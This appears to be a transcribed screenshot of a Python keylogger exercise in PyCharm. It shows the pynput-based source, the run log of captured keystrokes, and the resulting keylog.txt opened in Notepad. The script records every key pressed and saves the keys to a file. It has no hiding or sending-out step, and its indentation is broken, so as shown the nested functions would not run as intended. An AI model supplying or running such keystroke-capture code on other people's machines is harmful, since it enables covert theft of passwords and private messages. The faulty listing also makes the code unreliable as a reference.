

keyloggerTest.py x

```
1 # keylogger.py
2 import pynput
3 from pynput.keyboard import Key, Listener
4 keys = []
5 def on_press(key):
6     try:
7         # Append the pressed key to the list
8         keys.append(key.char)
9         print(f"Key pressed: {key.char}")
10    except AttributeError:
11        # Handle special keys (e.g., Shift, Ctrl, etc.)
12        keys.append(str(key))
13        print(f"Special key pressed: {key}")
14    def on_release(key):
15        if key == Key.esc:
16            # Stop the keylogger when the user presses the 'Esc' key
17            write_to_file()
18            return False
19    def write_to_file():
20        # Write the captured keys to a log file
21        with open("keylog.txt", "w") as f:
22            for key in keys:
23                f.write(str(key) + "\n")
24    if __name__ == "__main__":
25        print("Keylogger started. Press 'Esc' to stop.")
26        with Listener(on_press=on_press, on_release=on_release) as listener:
27            listener.join()
```

```
11 # Handle special keys (a, n, Shift, Ctrl, etc.)

Run keyloggerTest x

C:\Users\sonia\PycharmProjects\CaesarCipher\venv\Scripts\python.exe C:\Users\sonia\PycharmProjects\keyloggerTest.py
Keylogger started. Press 'Esc' to stop.
Key pressed: a
Special key pressed: Key.enter
Key pressed: b
Special key pressed: Key.enter
Key pressed: c
Special key pressed: Key.enter
Key pressed: s
Key pressed: o
Key pressed: n
Key pressed: i
Key pressed: a
Special key pressed: Key.enter
Special key pressed: Key.backspace
Special key pressed: Key.enter
Key pressed: '
Key pressed: ]
Key pressed: [
Key pressed: 1
Special key pressed: Key.cmd
Special key pressed: Key.shift
Key pressed: S
Special key pressed: Key.cmd
Special key pressed: Key.shift
```

a

File Edit View

a
b
c
Sonia
'] [1]

Ln 5, Col 5 16 characters 100% Windows (C) UTF-8

> Users > sonia > PycharmProjects > keyloggerTest.py 9:1 CRLF UTF-8 4 spa